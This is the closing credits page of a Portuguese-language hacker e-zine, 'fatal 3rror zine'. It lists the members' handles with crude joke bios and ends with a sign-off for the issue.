Kamikase Shell Este obedece as ordens de um duende.
MidNight Ficou de sako cheio de me ouvir falar em duendes e fechou
esta edicao da zine mais cedo.
N4rfy Desenvolveu um estranho medo de tapetes e cortinas.
Overnix Desenvolveu uma estranha tara por tapetes e cortinas.
pcHazard Portador de doencas psicologicas que causam seus solucos afeminados.
psaux Traz imigrantes ilegais dos EUA para viver no Brasil.
RoadHouse Nao pensei nada engracado pra ele.
Source Problemas com a GNU. Querem abri-lo!!!
syscall Inutilizado sem a interrupcao 0x80.
TPGA Gostaria de ser um cachorro para poder lamber as proprias bolas.
vh "Por que se olharmos dentro da colher a imagem fica de cabeca
pra baixo, e se olharmos fora fica normal??"
Agora os passivos... heheh.. digo.. agora o pessoal que anda sumido...
Defcon Defensor da causa "Nao de alcool para seu carro"
MaskMaster Defensor da causa "Beba o q seu carro bebe"
NuLLz Transforme essa forma decadente em MUNRAAAAH!
pcmcia Se seu carro pifar, tente sair e entrar denovo.
Slash_DOMI Egoista q pensa mais em si mesmo do q em mim.
Spike Usa XT porque a pressa eh inimiga da perfeicao.
Tinkertrain Costuma tomar sorvetes pela testa.
E por fim... o pessoal que fica em cima do muro... digo... agora a
halera que eu nao sei por onde anda...
Draco Vive perigosamente. Faz pipoca com a panela aberta!
Eletronic Projetista de artefatos eroticos.
hak Bacharelado na escola superior de garcons.
Suli_Cool Troca 286 com monitor por pacote de bolachas marias.
Thasmx Depravado em busca da futura ex-namorada.
Eh issu ae! aki acaba mais uma edicao da fatal 3rror zine.
Ateh a proxima!
_EoF_